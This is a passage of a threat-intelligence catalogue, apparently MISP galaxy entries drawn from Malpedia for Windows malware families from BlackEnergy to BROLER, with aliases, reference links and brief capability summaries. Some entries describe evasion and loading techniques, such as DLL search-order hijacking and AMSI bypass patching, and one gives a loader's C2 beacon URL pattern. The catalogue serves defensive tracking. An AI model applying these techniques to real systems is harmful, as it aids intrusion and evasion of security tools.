Version 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to - download and execute a remote file; - execute a local file on the infected computer; - update the bot and its plugins;

The Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.

In 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included: - operations with victim’s filesystem - spreading with a parasitic infector - spying features like keylogging, screenshoots or a robust password stealer - Team viewer and a simple pseudo “remote desktop” - listing Windows accounts and scanning network - destroying the system

Typical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.

On 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.

The tag is: *misp-galaxy:malpedia="BlackEnergy"*

BlackEnergy is also known as:

Table 1777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy
https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://attack.mitre.org/groups/G0034
https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf
http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://securelist.com/black-ddos/36309/
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
http://pds15.egloos.com/pds/201001/01/66/BlackEnergy_DDoS_Bot_Analysis.pdf
https://threatconnect.com/blog/casting-a-light-on-blackenergy/
https://marcusedmondson.com/2019/01/18/black-energy-analysis/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/
https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.secureworks.com/research/blackenergy2
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf

https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/
https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection

BlackGuard

According to Zscaler, BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients.

The tag is: *misp-galaxy:malpedia="BlackGuard"*

BlackGuard is also known as:

Table 1778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackguard
https://blog.cyble.com/2022/04/01/dissecting-blackguard-info-stealer/
https://www.techtimes.com/articles/273752/20220331/new-password-stealing-malware-hacking-forum-hack-password-stealing-google-chrome-binance-outlook-telegram.htm
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://www.f5.com/labs/articles/threat-intelligence/blackguard-infostealer-malware-dissecting-the-state-of-exfiltrated-data
https://www.youtube.com/watch?v=Fd8WjxzY2_g
https://thehackernews.com/2022/04/experts-shed-light-on-blackguard.html
https://www.zdnet.com/article/meet-blackguard-a-new-infostealer-peddled-on-russian-hacker-forums/
https://blogs.blackberry.com/en/2022/04/threat-thursday-blackguard-infostealer
https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://medium.com/s2wblog/rising-stealer-in-q1-2022-blackguard-stealer-f516d9f85ee5
https://medium.com/s2wblog/the-history-of-blackguard-stealer-86207e72ffb4
https://cyberint.com/blog/research/blackguard-stealer/
https://ke-la.com/information-stealers-a-new-landscape/
https://www.zscaler.com/blogs/security-research/analysis-blackguard-new-info-stealer-malware-being-sold-russian-hacking

BlackKingdom Ransomware

The tag is: *misp-galaxy:malpedia="BlackKingdom Ransomware"*

BlackKingdom Ransomware is also known as:

Table 1779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware
https://id-ransomware.blogspot.com/2020/02/blackkingdom-ransomware.html
https://news.sophos.com/en-us/2021/03/23/black-kingdom/
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://securelist.com/black-kingdom-ransomware/102873/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

BlackMatter (Windows)

Ransomware-as-a-Service

The tag is: *misp-galaxy:malpedia="BlackMatter (Windows)"*

BlackMatter (Windows) is also known as:

Table 1780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmatter
https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://blog.group-ib.com/blackmatter#
https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809
https://www.mcafee.com/blogs/enterprise/blackmatter-ransomware-analysis-the-dark-side-returns/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf
https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/
https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.glimps.fr/lockbit3-0/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://chuongdong.com/reverse%20engineering/2021/09/05/BlackMatterRansomware/
https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html
https://services.google.com/fh/files/misc/gcat_threathorizons_full_nov2021.pdf
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://assets.virustotal.com/reports/2021trends.pdf
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.mandiant.com/resources/cryptography-blackmatter-ransomware
https://blog.digital-investigations.info/2021-08-05-understanding-blackmatters-api-hashing.html
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/

https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/
https://www.netskope.com/blog/netskope-threat-coverage-blackmatter
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.youtube.com/watch?v=NIiEcOryLpI
https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackmatter-data-exfiltration
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://www.tesorion.nl/en/posts/analysis-of-the-blackmatter-ransomware/
https://twitter.com/GelosSnake/status/1451465959894667275
https://www.ciphertechsolutions.com/rapidly-evolving-blackmatter-ransomware-tactics/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://blog.minerva-labs.com/blackmatter
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.nozominetworks.com/blog/blackmatter-ransomware-technical-analysis-and-tools-from-nozomi-networks-labs/
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://www.varonis.com/blog/blackmatter-ransomware/
https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/
https://us-cert.cisa.gov/ncas/alerts/aa21-291a
https://blog.group-ib.com/blackmatter2
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

BlackNET RAT

Advanced and modern Windows botnet with PHP panel developed using VB.NET. It has a lot of functionalities including: stealing/grabbing files and passwords, keylogging, cryptojacking, loading files, executing commands, etc. It is open source and emerged at the end of 2019.

The tag is: *misp-galaxy:malpedia="BlackNET RAT"*

BlackNET RAT is also known as:

Table 1781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknet_rat
https://labs.k7computing.com/?p=21365
https://github.com/FarisCode511/BlackNET/
https://blog.malwarebytes.com/threat-analysis/2020/03/fake-corona-antivirus-distributes-blacknet-remote-administration-tool/
https://github.com/BlackHacker511/BlackNET/
http://www.pwncode.io/2019/12/blacknet-rat-when-you-leave-panel.html
https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware
https://github.com/mave12/BlackNET-3.7.0.1

BlackNix RAT

The tag is: *misp-galaxy:malpedia="BlackNix RAT"*

BlackNix RAT is also known as:

Table 1782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacknix_rat
https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb

BlackPOS

BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.

The tag is: *misp-galaxy:malpedia="BlackPOS"*

BlackPOS is also known as:

- Kaptoxa
- MMon
- POSWDS
- Reedum

Table 1783. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos
https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf

BlackRemote

The tag is: *misp-galaxy:malpedia="BlackRemote"*

BlackRemote is also known as:

- BlackRAT

Table 1784. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote
https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/
https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/
https://news.sophos.com/en-us/2020/05/14/raticate/

BlackRevolution

The tag is: *misp-galaxy:malpedia="BlackRevolution"*

BlackRevolution is also known as:

Table 1785. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrevolution

BlackRouter

The tag is: *misp-galaxy:malpedia="BlackRouter"*

BlackRouter is also known as:

- BLACKHEART

Table 1786. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter
https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/
https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/

Blackruby

Ransomware.

The tag is: *misp-galaxy:malpedia="Blackruby"*

Blackruby is also known as:

Table 1787. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackruby
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/
https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware

BlackShades

The tag is: *misp-galaxy:malpedia="BlackShades"*

BlackShades is also known as:

Table 1788. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/
https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/
https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html

BlackSoul

The tag is: *misp-galaxy:malpedia="BlackSoul"*

BlackSoul is also known as:

Table 1789. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksoul
https://quointelligence.eu/2021/01/reconhellcat-uses-nist-theme-as-lure-to-deliver-new-blacksoul-malware/

Blackworm RAT

The tag is: *misp-galaxy:malpedia="Blackworm RAT"*

Blackworm RAT is also known as:

Table 1790. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackworm_rat
https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html
https://github.com/BlackHacker511/BlackWorm
https://www.fidelissecurity.com/threatgeek/archive/down-h-w0rm-hole-houdinis-rat/

BleachGap

The tag is: *misp-galaxy:malpedia="BleachGap"*

BleachGap is also known as:

Table 1791. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bleachgap
https://labs.k7computing.com/index.php/bleachgap-revamped/

BLINDINGCAN

According to SentinelOne, this RAT can gather and transmit a defined set of system features, create/terminate/manipulate processes and files, and has self-updating and deletion capability.

The tag is: *misp-galaxy:malpedia="BLINDINGCAN"*

BLINDINGCAN is also known as:

- DRATzarus RAT

Table 1792. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan
https://www.hvs-consulting.de/lazarus-report/
https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf
https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html
https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a

BLINDTOAD

BLINDTOAD is 64-bit Service DLL that loads an encrypted file from disk and executes it in memory.

The tag is: *misp-galaxy:malpedia="BLINDTOAD"*

BLINDTOAD is also known as:

Table 1793. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/
https://content.fireeye.com/apt/rpt-apt38
https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html

Blister

Elastic observed this loader coming with valid code signatures, being used to deploy secondary payloads in-memory.

The tag is: *misp-galaxy:malpedia="Blister"*

Blister is also known as:

- COLORFAKE

Table 1794. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blister
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://elastic.github.io/security-research/malware/2022/05/02.blister/article/
https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign
https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/
https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/
https://redcanary.com/blog/intelligence-insights-january-2022/

BloodyStealer

The tag is: *misp-galaxy:malpedia="BloodyStealer"*

BloodyStealer is also known as:

Table 1795. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bloodystealer
https://twitter.com/3xp0rtblog/status/1380087553676697617
https://securelist.com/bloodystealer-and-gaming-assets-for-sale/104319/

BlueSky

Ransomware.

The tag is: *misp-galaxy:malpedia="BlueSky"*

BlueSky is also known as:

Table 1796. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky
https://unit42.paloaltonetworks.com/bluesky-ransomware/
https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/

BLUETHER

The tag is: *misp-galaxy:malpedia="BLUETHER"*

BLUETHER is also known as:

- CAPGELD

Table 1797. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether
https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf

BluStealer

Avast describe this malware as a recombination of other malware including SpyEx, ThunderFox, ChromeRecovery, StormKitty, and firepwd.

The tag is: *misp-galaxy:malpedia="BluStealer"*

BluStealer is also known as:

- a310logger

Table 1798. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer
https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs
https://twitter.com/GoSecure_Inc/status/1437435265350397957
https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer
https://decoded.avast.io/anhho/blustealer/

https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

BOATLAUNCH

FIN7 uses this malware as helper module during intrusion operations. BOATLAUNCH is continuously looking for PowerShell processes on infected systems and patches them to bypuss Windows AntiMalware Scan Interface (AMSI).

The tag is: *misp-galaxy:malpedia="BOATLAUNCH"*

BOATLAUNCH is also known as:

Table 1799. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch
https://www.mandiant.com/resources/evolution-of-fin7

Boaxxe

The tag is: *misp-galaxy:malpedia="Boaxxe"*

Boaxxe is also known as:

Table 1800. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe
https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/

Bobik

This malware offers remote access capabilities but also has a DDoS module that was used against supporters of Ukraine.

The tag is: *misp-galaxy:malpedia="Bobik"*

Bobik is also known as:

Table 1801. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik
https://decoded.avast.io/martinchlumecky/bobik/

Bohmini

The tag is: *misp-galaxy:malpedia="Bohmini"*

Bohmini is also known as:

Table 1802. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini

Bolek

The tag is: *misp-galaxy:malpedia="Bolek"*

Bolek is also known as:

- KBOT

Table 1803. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek
https://securelist.com/kbot-sometimes-they-come-back/96157/
http://www.cert.pl/news/11379
https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt

Book of Eli

This in .Net written malware is a classic information stealer. It can collect various information and can be depoyed in different configurations: "The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software." (ESET) This malware has been active since at least 2012.

The tag is: *misp-galaxy:malpedia="Book of Eli"*

Book of Eli is also known as:

Table 1804. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bookofeli
https://www.welivesecurity.com/2016/09/22/libya-malware-analysis/

Bookworm

The tag is: *misp-galaxy:malpedia="Bookworm"*

Bookworm is also known as:

Table 1805. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bookworm
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/

BOOSTWRITE

FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

The tag is: *misp-galaxy:malpedia="BOOSTWRITE"*

BOOSTWRITE is also known as:

Table 1806. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

BOOTWRECK

BOOTWRECK is a master boot record wiper malware.

The tag is: *misp-galaxy:malpedia="BOOTWRECK"*

BOOTWRECK is also known as:

- MBRkiller

Table 1807. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/
https://content.fireeye.com/apt/rpt-apt38

Borat RAT

The Borat RAT comes bundled with its components (e.g. binary builder, supporting modules, server certificates). According to Cyble this malware is an unique combination of RAT, Spyware, and ransomware. The supporting modules are included; a few of the capabilities: Keylogger, Ransomware, Audio/Webcam Recording, Process Hollowing, Browser Credential/Discord Token Stealing, etc.

The tag is: *misp-galaxy:malpedia="Borat RAT"*

Borat RAT is also known as:

Table 1808. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat
https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/
https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/
https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat

Borr

The tag is: *misp-galaxy:malpedia="Borr"*

Borr is also known as:

Table 1809. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.borr
https://telegra.ph/Borr-Malware-02-04
https://github.com/onek1lo/Borr-Stealer
https://twitter.com/ViriBack/status/1222704498923032576

Bouncer

The tag is: *misp-galaxy:malpedia="Bouncer"*

Bouncer is also known as:

Table 1810. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Bozok

The tag is: *misp-galaxy:malpedia="Bozok"*

Bozok is also known as:

Table 1811. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok
https://securelist.com/apt-trends-report-q1-2021/101967/
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

BRAIN

The tag is: *misp-galaxy:malpedia="BRAIN"*

BRAIN is also known as:

Table 1812. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brain
https://www.welivesecurity.com/2017/01/18/flashback-wednesday-pakistani-brain/

Brambul

Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim's networks.

The tag is: *misp-galaxy:malpedia="Brambul"*

Brambul is also known as:

- SORRYBRUTE

Table 1813. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1
https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1
https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/
https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

BravoNC

The tag is: *misp-galaxy:malpedia="BravoNC"*

BravoNC is also known as:

Table 1814. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

BrbBot

The tag is: *misp-galaxy:malpedia="BrbBot"*

BrbBot is also known as:

Table 1815. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot

https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Brbbot/Brbbot.md

BreachRAT

This is a backdoor which FireEye call the Breach Remote Administration Tool (BreachRAT), written in C++. The malware name is derived from the hardcoded PDB path found in the RAT: C:\Work\Breach Remote Administration Tool\Release\Client.pdb

The tag is: *misp-galaxy:malpedia="BreachRAT"*

BreachRAT is also known as:

Table 1816. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html

Breakthrough

There is no reference available for this family and all known samples have version 1.0.0.

Pdb-strings in the samples suggest that this is an "exclusive" loader, known as "breakthrough" (maybe), e.g. C:\Users\Exclusiv\Desktop\хп-пробив\Release\build.pdb

The communication url parameters are pretty unique in this combination: gate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8

<OS> is one of: Windows95 Windows98 WindowsMe Windows95family WindowsNT3 WindowsNT4 Windows2000 WindowsXP WindowsServer2003 WindowsNTfamily WindowsVista Windows7 Windows8 Windows10

The tag is: *misp-galaxy:malpedia="Breakthrough"*

Breakthrough is also known as:

Table 1817. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader

Bredolab

The tag is: *misp-galaxy:malpedia="Bredolab"*

Bredolab is also known as:

Table 1818. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html

BrittleBush

The tag is: *misp-galaxy:malpedia="BrittleBush"*

BrittleBush is also known as:

Table 1819. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brittle_bush
https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage

BROLER

The tag is: *misp-galaxy:malpedia="BROLER"*

BROLER is also known as:

- down_new

